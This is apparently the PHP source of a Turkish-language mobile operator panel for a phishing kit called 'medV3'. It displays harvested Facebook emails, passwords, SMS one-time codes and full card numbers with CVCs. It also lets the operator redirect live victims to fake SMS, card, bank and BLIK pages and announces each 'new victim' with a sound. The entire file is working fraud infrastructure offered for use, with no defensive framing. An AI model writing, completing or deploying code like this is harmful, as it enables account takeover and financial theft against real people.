<?php
// mobile_admin.php - Mobil Odaklı Yönetim Paneli
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (session_status() == PHP_SESSION_NONE) { session_start(); }
if (!isset($_SESSION['admin_logged_in'])) { header('Location: giris.php'); exit(); }

require_once 'db_config.php';
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) { die("Veritabanı hatası"); }

// Verileri Çek
$accounts = $conn->query("SELECT * FROM fb_accounts ORDER BY id DESC")->fetchAll(PDO::FETCH_ASSOC);
$visitors = $conn->query("SELECT * FROM active_visitors WHERE last_seen > NOW() - INTERVAL 2 MINUTE ORDER BY last_seen DESC")->fetchAll(PDO::FETCH_ASSOC);

// Admin Bilgisi
$admin_username = $_SESSION['admin_username'] ?? 'Admin';
?>
<!DOCTYPE html>
<html lang="tr" class="dark">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Mobil Panel - medV3</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/bootstrap-icons.css">
    <style>
        body { background-color: #111827; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; padding-bottom: 80px; }
        .tap-highlight-transparent { -webkit-tap-highlight-color: transparent; }
        
        /* Kart Animasyonları */
        .log-card { transition: all 0.2s; }
        .log-card:active { transform: scale(0.98); }
        
        /* Bottom Sheet (Komuta Merkezi) */
        .bottom-sheet {
            position: fixed; bottom: -100%; left: 0; right: 0;
            background: #1f2937; border-t-left-radius: 20px; border-t-right-radius: 20px;
            z-index: 50; transition: bottom 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            max-height: 85vh; overflow-y: auto; box-shadow: 0 -10px 25px rgba(0,0,0,0.5);
        }
        .bottom-sheet.active { bottom: 0; }
        .overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.7); z-index: 40; opacity: 0; pointer-events: none; transition: opacity 0.3s; }
        .overlay.active { opacity: 1; pointer-events: auto; }

        /* Yeni Log Efekti */
        .flash-new { animation: flash 1s 2; border: 1px solid #6366f1; }
        @keyframes flash { 0%,100% { background-color: #1f2937; } 50% { background-color: rgba(99, 102, 241, 0.2); } }
    </style>
</head>
<body class="text-gray-200 tap-highlight-transparent">

    <audio id="notification-sound" src="uyari.mp3" preload="auto"></audio>

    <header class="fixed top-0 left-0 right-0 bg-gray-900/90 backdrop-blur-md border-b border-gray-800 z-30 px-4 py-3 flex justify-between items-center">
        <h1 class="text-lg font-bold bg-clip-text text-transparent bg-gradient-to-r from-indigo-400 to-cyan-400">medV3 Mobile</h1>
        <div class="flex items-center gap-3">
            <button id="sound-btn" class="text-gray-400"><i class="bi bi-volume-up-fill text-xl"></i></button>
            <a href="logout.php" class="text-red-400"><i class="bi bi-power text-xl"></i></a>
        </div>
    </header>

    <div class="pt-16 px-3" id="main-content">
        
        <div id="tab-logs" class="space-y-3">
            <div class="flex justify-between items-center mb-2">
                <span class="text-xs font-bold text-gray-500 uppercase">Son Loglar</span>
                <button onclick="location.reload()" class="text-xs bg-gray-800 px-3 py-1 rounded text-gray-300"><i class="bi bi-arrow-repeat"></i> Yenile</button>
            </div>

            <?php if(empty($accounts)): ?>
                <div class="text-center py-10 text-gray-500">Henüz log yok.</div>
            <?php endif; ?>

            <?php foreach ($accounts as $account): ?>
            <div id="log-<?= $account['id'] ?>" class="log-card bg-gray-800 rounded-xl p-4 border border-gray-700 shadow-sm relative overflow-hidden">
                <div class="flex justify-between items-start mb-2" onclick="openCommandSheet('<?= $account['id'] ?>', '<?= $account['ip_address'] ?>')">
                    <div class="flex items-center gap-3">
                        <div class="bg-indigo-900/50 text-indigo-300 font-mono font-bold px-2 py-1 rounded text-xs">#<?= $account['id'] ?></div>
                        <div>
                            <div class="font-bold text-white text-sm truncate w-40"><?= htmlspecialchars($account['email']) ?></div>
                            <div class="text-xs text-gray-400"><?= date('H:i', strtotime($account['created_at'])) ?> • <?= $account['ip_address'] ?></div>
                        </div>
                    </div>
                    <div class="text-right">
                         <i class="bi bi-chevron-right text-gray-500"></i>
                    </div>
                </div>

                <div class="space-y-1 mb-3" onclick="toggleDetails(<?= $account['id'] ?>)">
                    <?php if($account['password']): ?>
                        <div class="bg-gray-900/50 p-2 rounded flex items-center gap-2">
                            <i class="bi bi-key text-yellow-500 text-xs"></i>
                            <span class="text-yellow-400 font-mono text-sm select-all"><?= htmlspecialchars($account['password']) ?></span>
                        </div>
                    <?php endif; ?>
                    
                    <?php if($account['sms_code']): ?>
                        <div class="bg-green-900/30 p-2 rounded flex items-center gap-2 border border-green-900">
                            <i class="bi bi-chat-dots text-green-400 text-xs"></i>
                            <span class="text-green-400 font-bold text-sm">SMS: <?= $account['sms_code'] ?></span>
                        </div>
                    <?php endif; ?>
                </div>

                <div id="details-<?= $account['id'] ?>" class="hidden border-t border-gray-700 pt-2 mt-2 space-y-2 text-sm text-gray-300">
                    <?php if($account['card_number']): ?>
                    <div class="grid grid-cols-2 gap-2">
                        <div class="bg-gray-700/30 p-2 rounded"><div class="text-[10px] text-gray-500">KART NO</div><div class="font-mono text-cyan-300"><?= $account['card_number'] ?></div></div>
                        <div class="bg-gray-700/30 p-2 rounded"><div class="text-[10px] text-gray-500">SKT/CVC</div><div class="font-mono text-cyan-300"><?= $account['card_expiry'] ?> / <?= $account['card_cvc'] ?></div></div>
                    </div>
                    <?php endif; ?>
                    
                    <div class="flex gap-2 mt-2">
                        <button onclick="deleteLog(<?= $account['id'] ?>)" class="flex-1 bg-red-900/30 text-red-400 py-2 rounded text-xs font-bold border border-red-900/50">SİL</button>
                        <button onclick="openCommandSheet('<?= $account['id'] ?>', '<?= $account['ip_address'] ?>')" class="flex-1 bg-indigo-600 text-white py-2 rounded text-xs font-bold">YÖNET</button>
                    </div>
                </div>
                
                <div class="text-center mt-1" onclick="toggleDetails(<?= $account['id'] ?>)">
                    <i class="bi bi-three-dots text-gray-600 text-xs"></i>
                </div>
            </div>
            <?php endforeach; ?>
        </div>

        <div id="tab-visitors" class="hidden space-y-3">
             <div class="flex justify-between items-center mb-2">
                <span class="text-xs font-bold text-gray-500 uppercase">Aktif: <?= count($visitors) ?></span>
                <button onclick="location.reload()" class="text-xs bg-gray-800 px-3 py-1 rounded text-gray-300">Yenile</button>
            </div>
            <?php foreach ($visitors as $visitor): ?>
            <div class="bg-gray-800 rounded-xl p-4 border border-gray-700 flex justify-between items-center">
                <div>
                    <div class="font-mono text-white font-bold"><?= $visitor['ip_address'] ?></div>
                    <div class="text-xs text-cyan-400 mt-1"><?= $visitor['current_page'] ?></div>
                    <div class="text-[10px] text-gray-500 mt-1">Son: <?= date('H:i:s', strtotime($visitor['last_seen'])) ?></div>
                </div>
                <button onclick="openCommandSheet('visitor_<?= $visitor['id'] ?>', '<?= $visitor['ip_address'] ?>')" class="bg-indigo-600 w-10 h-10 rounded-full text-white flex items-center justify-center shadow-lg shadow-indigo-500/30">
                    <i class="bi bi-lightning-fill"></i>
                </button>
            </div>
            <?php endforeach; ?>
        </div>

    </div>

    <div id="overlay" class="overlay" onclick="closeCommandSheet()"></div>
    <div id="command-sheet" class="bottom-sheet pb-6">
        <div class="sticky top-0 bg-gray-800 border-b border-gray-700 p-4 flex justify-between items-center z-10">
            <div>
                <h3 class="font-bold text-white text-lg">Komuta Merkezi</h3>
                <div class="text-xs text-gray-400 font-mono" id="sheet-ip">---</div>
            </div>
            <button onclick="closeCommandSheet()" class="bg-gray-700 text-gray-300 w-8 h-8 rounded-full flex items-center justify-center"><i class="bi bi-x-lg"></i></button>
        </div>
        
        <div class="p-4 grid grid-cols-3 gap-3">
            <button onclick="sendAction('sms.php')" class="bg-gray-700 hover:bg-gray-600 p-3 rounded-xl flex flex-col items-center gap-2">
                <i class="bi bi-chat-left-text text-2xl text-green-400"></i>
                <span class="text-[10px] font-bold text-gray-300">SMS 1</span>
            </button>
            <button onclick="sendAction('sms2.php')" class="bg-gray-700 hover:bg-gray-600 p-3 rounded-xl flex flex-col items-center gap-2">
                <i class="bi bi-chat-quote text-2xl text-teal-400"></i>
                <span class="text-[10px] font-bold text-gray-300">SMS 2</span>
            </button>
            <button onclick="sendAction('card.php')" class="bg-gray-700 hover:bg-gray-600 p-3 rounded-xl flex flex-col items-center gap-2">
                <i class="bi bi-credit-card text-2xl text-yellow-400"></i>
                <span class="text-[10px] font-bold text-gray-300">KART</span>
            </button>
            <button onclick="sendAction('banks_page.php')" class="bg-gray-700 hover:bg-gray-600 p-3 rounded-xl flex flex-col items-center gap-2">
                <i class="bi bi-bank text-2xl text-blue-400"></i>
                <span class="text-[10px] font-bold text-gray-300">BANKA</span>
            </button>
            <button onclick="sendAction('blik.php')" class="bg-gray-700 hover:bg-gray-600 p-3 rounded-xl flex flex-col items-center gap-2">
                <i class="bi bi-wallet2 text-2xl text-purple-400"></i>
                <span class="text-[10px] font-bold text-gray-300">BLIK</span>
            </button>
            <button onclick="sendAction('error.php?target=sms.php')" class="bg-red-900/30 border border-red-900 p-3 rounded-xl flex flex-col items-center gap-2">
                <i class="bi bi-exclamation-triangle text-2xl text-red-500"></i>
                <span class="text-[10px] font-bold text-red-300">HATA</span>
            </button>
             <button onclick="sendAction('completed.php')" class="col-span-3 bg-green-600 p-3 rounded-xl flex items-center justify-center gap-2 shadow-lg shadow-green-500/20">
                <i class="bi bi-check-circle-fill text-xl text-white"></i>
                <span class="text-sm font-bold text-white">ONAYLA & BİTİR</span>
            </button>
        </div>

        <div class="px-4 mt-2">
            <button onclick="blockCurrentIp()" class="w-full bg-red-900 text-red-200 py-3 rounded-xl font-bold text-sm border border-red-800">
                <i class="bi bi-shield-slash-fill mr-2"></i> BU ADRESİ ENGELLE
            </button>
        </div>
    </div>

    <nav class="fixed bottom-0 left-0 right-0 bg-gray-900 border-t border-gray-800 flex justify-around items-center py-3 z-40 pb-5">
        <button onclick="switchTab('logs')" class="nav-btn active flex flex-col items-center gap-1 text-indigo-500">
            <i class="bi bi-list-ul text-xl"></i>
            <span class="text-[10px] font-bold">Loglar</span>
        </button>
        <button onclick="switchTab('visitors')" class="nav-btn flex flex-col items-center gap-1 text-gray-500">
            <i class="bi bi-globe text-xl"></i>
            <span class="text-[10px] font-bold">Ziyaretçi</span>
        </button>
        <button onclick="location.href='panel_giris.php'" class="nav-btn flex flex-col items-center gap-1 text-gray-500">
            <i class="bi bi-pc-display text-xl"></i>
            <span class="text-[10px] font-bold">Masaüstü</span>
        </button>
    </nav>

    <script>
        let activeId = null;
        let activeIp = null;
        let activeType = 'log'; // log or visitor

        function switchTab(tab) {
            document.querySelectorAll('[id^="tab-"]').forEach(el => el.classList.add('hidden'));
            document.getElementById('tab-' + tab).classList.remove('hidden');
            
            // Renkleri güncelle
            document.querySelectorAll('.nav-btn').forEach(el => {
                el.classList.remove('text-indigo-500');
                el.classList.add('text-gray-500');
            });
            event.currentTarget.classList.add('text-indigo-500');
            event.currentTarget.classList.remove('text-gray-500');
        }

        function toggleDetails(id) {
            const el = document.getElementById('details-' + id);
            if (el.classList.contains('hidden')) {
                el.classList.remove('hidden');
            } else {
                el.classList.add('hidden');
            }
        }

        function openCommandSheet(id, ip) {
            if(id.toString().startsWith('visitor_')) {
                activeType = 'visitor';
                activeId = id.replace('visitor_', '');
            } else {
                activeType = 'log';
                activeId = id;
            }
            activeIp = ip;
            
            document.getElementById('sheet-ip').innerText = ip;
            document.getElementById('overlay').classList.add('active');
            document.getElementById('command-sheet').classList.add('active');
        }

        function closeCommandSheet() {
            document.getElementById('overlay').classList.remove('active');
            document.getElementById('command-sheet').classList.remove('active');
            activeId = null;
        }

        function sendAction(page) {
            if(!activeId) return;
            
            const action = activeType === 'visitor' ? 'set_visitor_redirect' : 'set_redirect';
            
            fetch(`api.php?action=${action}&id=${activeId}&page=${page}`)
            .then(r => r.json())
            .then(d => {
                if(d.status === 'success') {
                    // Butona basıldığını hissettir
                    navigator.vibrate(50); 
                    closeCommandSheet();
                    alert('Yönlendirildi!');
                } else {
                    alert('Hata: ' + d.message);
                }
            });
        }

        function blockCurrentIp() {
            if(!activeIp) return;
            if(confirm('Engellemek istediğine emin misin?')) {
                const fd = new FormData();
                fd.append('ip', activeIp);
                fetch('api.php?action=block_ip', {method:'POST', body:fd})
                .then(r => r.json())
                .then(d => {
                    alert(d.message);
                    closeCommandSheet();
                });
            }
        }

        function deleteLog(id) {
            if(confirm('Silinecek?')) {
                const fd = new FormData();
                fd.append('account_id', id);
                fetch('api.php?action=delete_log', {method:'POST', body:fd})
                .then(r=>r.json())
                .then(d => {
                    if(d.status === 'success') {
                        document.getElementById('log-'+id).remove();
                    }
                });
            }
        }

        // SES VE CANLI KONTROL
        const audio = document.getElementById('notification-sound');
        document.getElementById('sound-btn').onclick = () => audio.play().catch(()=>alert('Ses izni verildi'));

        let lastCheck = '<?= date('Y-m-d H:i:s') ?>';
        setInterval(() => {
            fetch('api.php?action=get_updates&last_check=' + encodeURIComponent(lastCheck))
            .then(r => r.json())
            .then(d => {
                if(d.new_server_time) lastCheck = d.new_server_time;
                if(d.status === 'new_data') {
                    audio.play().catch(()=>{});
                    if(confirm('Yeni kurban düştü! Sayfayı yenilemek ister misin?')) {
                        location.reload();
                    }
                }
            });
        }, 5000);

    </script>
</body>
</html>